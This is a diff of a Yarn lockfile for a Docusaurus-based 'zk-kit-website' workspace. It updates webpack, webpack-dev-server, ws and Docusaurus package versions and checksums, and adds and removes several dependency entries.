10c0/e8c76da4399446b3da2d1c84a97c607b37d03d1d92561e14838cbe4fdcb485bfc06c06cfadbb808ccb72105a80643976d0660d1fe222ca372203075be9d71105 + languageName: node + linkType: hard + "unist-util-stringify-position@npm:^4.0.0": version: 4.0.0 resolution: "unist-util-stringify-position@npm:4.0.0" @@ -12675,6 +12847,15 @@ __metadata: languageName: node linkType: hard +"use-sync-external-store@npm:^1.4.0": + version: 1.6.0 + resolution: "use-sync-external-store@npm:1.6.0" + peerDependencies: + react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 + checksum: 10c0/35e1179f872a53227bdf8a827f7911da4c37c0f4091c29b76b1e32473d1670ebe7bcd880b808b7549ba9a5605c233350f800ffab963ee4a4ee346ee983b6019b + languageName: node + linkType: hard + "util-deprecate@npm:^1.0.1, util-deprecate@npm:^1.0.2, util-deprecate@npm:~1.0.1": version: 1.0.2 resolution: "util-deprecate@npm:1.0.2" @@ -12737,12 +12918,12 @@ __metadata: linkType: hard "vfile-message@npm:^4.0.0": - version: 4.0.2 - resolution: "vfile-message@npm:4.0.2" + version: 4.0.3 + resolution: "vfile-message@npm:4.0.3" dependencies: "@types/unist": "npm:^3.0.0" unist-util-stringify-position: "npm:^4.0.0" - checksum: 10c0/07671d239a075f888b78f318bc1d54de02799db4e9dce322474e67c35d75ac4a5ac0aaf37b18801d91c9f8152974ea39678aa72d7198758b07f3ba04fb7d7514 + checksum: 10c0/33d9f219610d27987689bb14fa5573d2daa146941d1a05416dd7702c4215b23f44ed81d059e70d0e4e24f9a57d5f4dc9f18d35a993f04cf9446a7abe6d72d0c0 languageName: node linkType: hard @@ -12756,7 +12937,7 @@ __metadata: languageName: node linkType: hard -"watchpack@npm:^2.4.1": +"watchpack@npm:^2.4.4": version: 2.4.4 resolution: "watchpack@npm:2.4.4" dependencies: @@ -12804,57 +12985,59 @@ __metadata: languageName: node linkType: hard -"webpack-dev-middleware@npm:^5.3.4": - version: 5.3.4 - resolution: "webpack-dev-middleware@npm:5.3.4" +"webpack-dev-middleware@npm:^7.4.2": + version: 7.4.5 + resolution: "webpack-dev-middleware@npm:7.4.5" dependencies: colorette: "npm:^2.0.10" - memfs: "npm:^3.4.3" - mime-types: "npm:^2.1.31" + memfs: "npm:^4.43.1" + mime-types: "npm:^3.0.1" + on-finished: "npm:^2.4.1" range-parser: "npm:^1.2.1" schema-utils: "npm:^4.0.0" peerDependencies: - webpack: ^4.0.0 || ^5.0.0 - checksum: 10c0/257df7d6bc5494d1d3cb66bba70fbdf5a6e0423e39b6420f7631aeb52435afbfbff8410a62146dcdf3d2f945c62e03193aae2ac1194a2f7d5a2523b9d194e9e1 + webpack: ^5.0.0 + peerDependenciesMeta: + webpack: + optional: true + checksum: 10c0/e72fa7de3b1589c0c518976358f946d9ec97699a3eb90bfd40718f4be3e9d5d13dc80f748c5c16662efbf1400cedbb523c79f56a778e6e8ffbdf1bd93be547eb languageName: node linkType: hard -"webpack-dev-server@npm:^4.15.2": - version: 4.15.2 - resolution: "webpack-dev-server@npm:4.15.2" - dependencies: - "@types/bonjour": "npm:^3.5.9" - "@types/connect-history-api-fallback": "npm:^1.3.5" - "@types/express": "npm:^4.17.13" - "@types/serve-index": "npm:^1.9.1" - "@types/serve-static": "npm:^1.13.10" - "@types/sockjs": "npm:^0.3.33" - "@types/ws": "npm:^8.5.5" +"webpack-dev-server@npm:^5.2.2": + version: 5.2.2 + resolution: "webpack-dev-server@npm:5.2.2" + dependencies: + "@types/bonjour": "npm:^3.5.13" + "@types/connect-history-api-fallback": "npm:^1.5.4" + "@types/express": "npm:^4.17.21" + "@types/express-serve-static-core": "npm:^4.17.21" + "@types/serve-index": "npm:^1.9.4" + "@types/serve-static": "npm:^1.15.5" + "@types/sockjs": "npm:^0.3.36" + "@types/ws": "npm:^8.5.10" ansi-html-community: "npm:^0.0.8" - bonjour-service: "npm:^1.0.11" - chokidar: "npm:^3.5.3" + bonjour-service: "npm:^1.2.1" + chokidar: "npm:^3.6.0" colorette: "npm:^2.0.10" compression: "npm:^1.7.4" connect-history-api-fallback: "npm:^2.0.0" - default-gateway: "npm:^6.0.3" - express: "npm:^4.17.3" + express: "npm:^4.21.2" graceful-fs: "npm:^4.2.6" - html-entities: "npm:^2.3.2" - http-proxy-middleware: "npm:^2.0.3" - ipaddr.js: "npm:^2.0.1" - launch-editor: "npm:^2.6.0" - open: "npm:^8.0.9" - p-retry: "npm:^4.5.0" - rimraf: "npm:^3.0.2" - schema-utils: "npm:^4.0.0" - selfsigned: "npm:^2.1.1" + http-proxy-middleware: "npm:^2.0.9" + ipaddr.js: "npm:^2.1.0" + launch-editor: "npm:^2.6.1" + open: "npm:^10.0.3" + p-retry: "npm:^6.2.0" + schema-utils: "npm:^4.2.0" + selfsigned: "npm:^2.4.1" serve-index: "npm:^1.9.1" sockjs: "npm:^0.3.24" spdy: "npm:^4.0.2" - webpack-dev-middleware: "npm:^5.3.4" - ws: "npm:^8.13.0" + webpack-dev-middleware: "npm:^7.4.2" + ws: "npm:^8.18.0" peerDependencies: - webpack: ^4.37.0 || ^5.0.0 + webpack: ^5.0.0 peerDependenciesMeta: webpack: optional: true @@ -12862,7 +13045,7 @@ __metadata: optional: true bin: webpack-dev-server: bin/webpack-dev-server.js - checksum: 10c0/625bd5b79360afcf98782c8b1fd710b180bb0e96d96b989defff550c546890010ceea82ffbecb2a0a23f7f018bc72f2dee7b3070f7b448fb0110df6657fb2904 + checksum: 10c0/58d7ddb054cdbba22ddfa3d6644194abf6197c14530e1e64ccd7f0b670787245eea966ee72e95abd551c54313627bde0d227a0d2a1e2557102b1a3504ac0b7f1 languageName: node linkType: hard @@ -12888,27 +13071,28 @@ __metadata: languageName: node linkType: hard -"webpack-sources@npm:^3.2.3": - version: 3.2.3 - resolution: "webpack-sources@npm:3.2.3" - checksum: 10c0/2ef63d77c4fad39de4a6db17323d75eb92897b32674e97d76f0a1e87c003882fc038571266ad0ef581ac734cbe20952912aaa26155f1905e96ce251adbb1eb4e +"webpack-sources@npm:^3.3.3": + version: 3.3.3 + resolution: "webpack-sources@npm:3.3.3" + checksum: 10c0/ab732f6933b513ba4d505130418995ddef6df988421fccf3289e53583c6a39e205c4a0739cee98950964552d3006604912679c736031337fb4a9d78d8576ed40 languageName: node linkType: hard "webpack@npm:^5.88.1, webpack@npm:^5.95.0": - version: 5.99.9 - resolution: "webpack@npm:5.99.9" + version: 5.102.1 + resolution: "webpack@npm:5.102.1" dependencies: "@types/eslint-scope": "npm:^3.7.7" - "@types/estree": "npm:^1.0.6" + "@types/estree": "npm:^1.0.8" "@types/json-schema": "npm:^7.0.15" "@webassemblyjs/ast": "npm:^1.14.1" "@webassemblyjs/wasm-edit": "npm:^1.14.1" "@webassemblyjs/wasm-parser": "npm:^1.14.1" - acorn: "npm:^8.14.0" - browserslist: "npm:^4.24.0" + acorn: "npm:^8.15.0" + acorn-import-phases: "npm:^1.0.3" + browserslist: "npm:^4.26.3" chrome-trace-event: "npm:^1.0.2" - enhanced-resolve: "npm:^5.17.1" + enhanced-resolve: "npm:^5.17.3" es-module-lexer: "npm:^1.2.1" eslint-scope: "npm:5.1.1" events: "npm:^3.2.0" @@ -12918,17 +13102,17 @@ __metadata: loader-runner: "npm:^4.2.0" mime-types: "npm:^2.1.27" neo-async: "npm:^2.6.2" - schema-utils: "npm:^4.3.2" - tapable: "npm:^2.1.1" + schema-utils: "npm:^4.3.3" + tapable: "npm:^2.3.0" terser-webpack-plugin: "npm:^5.3.11" - watchpack: "npm:^2.4.1" - webpack-sources: "npm:^3.2.3" + watchpack: "npm:^2.4.4" + webpack-sources: "npm:^3.3.3" peerDependenciesMeta: webpack-cli: optional: true bin: webpack: bin/webpack.js - checksum: 10c0/34ec3f19b50bccaf27929e5e5b901b25047f2d414acba7d0967dc98eb4f404d107fb1a4b63095edbca2b006ff5815f1720b131e10b20664b074dfc86b7ffa717 + checksum: 10c0/74c3afeef50a5414e58399f1c0123fe5cdb3d8d081c206fae74b8334097d5ff6b729147154dbb4af48e662ba756a89e06d550b3390917153fa1d7ce285f96777 languageName: node linkType: hard @@ -12968,17 +13152,6 @@ __metadata: languageName: node linkType: hard -"which@npm:^1.3.1": - version: 1.3.1 - resolution: "which@npm:1.3.1" - dependencies: - isexe: "npm:^2.0.0" - bin: - which: ./bin/which - checksum: 10c0/e945a8b6bbf6821aaaef7f6e0c309d4b615ef35699576d5489b4261da9539f70393c6b2ce700ee4321c18f914ebe5644bc4631b15466ffbaad37d83151f6af59 - languageName: node - linkType: hard - "which@npm:^2.0.1": version: 2.0.2 resolution: "which@npm:2.0.2" @@ -13039,13 +13212,6 @@ __metadata: languageName: node linkType: hard -"wrappy@npm:1": - version: 1.0.2 - resolution: "wrappy@npm:1.0.2" - checksum: 10c0/56fece1a4018c6a6c8e28fbc88c87e0fbf4ea8fd64fc6c63b18f4acc4bd13e0ad2515189786dd2c30d3eec9663d70f4ecf699330002f8ccb547e4a18231fc9f0 - languageName: node - linkType: hard - "write-file-atomic@npm:^3.0.3": version: 3.0.3 resolution: "write-file-atomic@npm:3.0.3" @@ -13073,9 +13239,9 @@ __metadata: languageName: node linkType: hard -"ws@npm:^8.13.0": - version: 8.18.2 - resolution: "ws@npm:8.18.2" +"ws@npm:^8.18.0": + version: 8.18.3 + resolution: "ws@npm:8.18.3" peerDependencies: bufferutil: ^4.0.1 utf-8-validate: ">=5.0.2" @@ -13084,7 +13250,16 @@ __metadata: optional: true utf-8-validate: optional: true - checksum: 10c0/4b50f67931b8c6943c893f59c524f0e4905bbd183016cfb0f2b8653aa7f28dad4e456b9d99d285bbb67cca4fedd9ce90dfdfaa82b898a11414ebd66ee99141e4 + checksum: 10c0/eac918213de265ef7cb3d4ca348b891a51a520d839aa51cdb8ca93d4fa7ff9f6ccb339ccee89e4075324097f0a55157c89fa3f7147bde9d8d7e90335dc087b53 + languageName: node + linkType: hard + +"wsl-utils@npm:^0.1.0": + version: 0.1.0 + resolution: "wsl-utils@npm:0.1.0" + dependencies: + is-wsl: "npm:^3.1.0" + checksum: 10c0/44318f3585eb97be994fc21a20ddab2649feaf1fbe893f1f866d936eea3d5f8c743bec6dc02e49fbdd3c0e69e9b36f449d90a0b165a4f47dd089747af4cf2377 languageName: node linkType: hard @@ -13127,20 +13302,6 @@ __metadata: languageName: node linkType: hard -"yaml@npm:^1.7.2": - version: 1.10.2 - resolution: "yaml@npm:1.10.2" - checksum: 10c0/5c28b9eb7adc46544f28d9a8d20c5b3cb1215a886609a2fd41f51628d8aaa5878ccd628b755dbcd29f6bb4921bd04ffbc6dcc370689bb96e594e2f9813d2605f - languageName: node - linkType: hard - -"yocto-queue@npm:^0.1.0": - version: 0.1.0 - resolution: "yocto-queue@npm:0.1.0" - checksum: 10c0/dceb44c28578b31641e13695d200d34ec4ab3966a5729814d5445b194933c096b7ced71494ce53a0e8820685d1d010df8b2422e5bf2cdea7e469d97ffbea306f - languageName: node - linkType: hard - "yocto-queue@npm:^1.0.0": version: 1.2.1 resolution: "yocto-queue@npm:1.2.1" @@ -13152,11 +13313,11 @@ __metadata: version: 0.0.0-use.local resolution: "zk-kit-website@workspace:." dependencies: - "@docusaurus/core": "npm:3.7.0" - "@docusaurus/module-type-aliases": "npm:3.7.0" - "@docusaurus/preset-classic": "npm:3.7.0" - "@docusaurus/tsconfig": "npm:3.7.0" - "@docusaurus/types": "npm:3.7.0" + "@docusaurus/core": "npm:^3.9.1" + "@docusaurus/module-type-aliases": "npm:^3.9.1" + "@docusaurus/preset-classic": "npm:^3.9.1" + "@docusaurus/tsconfig": "npm:^3.9.1" + "@docusaurus/types": "npm:^3.9.1" "@mdx-js/react": "npm:^3.0.0" "@tailwindcss/postcss": "npm:^4.1.7" "@types/three": "npm:^0" @@ -13168,6 +13329,8 @@ __metadata: react-dom: "npm:^19.0.0" react-icons: "npm:^5.5.0" react-responsive: "npm:^10.0.1" + rehype-katex: "npm:^7.0.1" + remark-math: "npm:^6.0.0" tailwind-merge: "npm:^3.3.1" tailwindcss: "npm:^4.1.7" three: "npm:^0.180.0" @@ -13175,6 +13338,13 @@ __metadata: languageName: unknown linkType: soft +"zod@npm:^4.1.8": + version: 4.1.12 + resolution: "zod@npm:4.1.12" + checksum: 10c0/b64c1feb19e99d77075261eaf613e0b2be4dfcd3551eff65ad8b4f2a079b61e379854d066f7d447491fcf193f45babd8095551a9d47973d30b46b6d8e2c46774 + languageName: node + linkType: hard + "zwitch@npm:^2.0.0": version: 2.0.4 resolution: "zwitch@npm:2.0.4"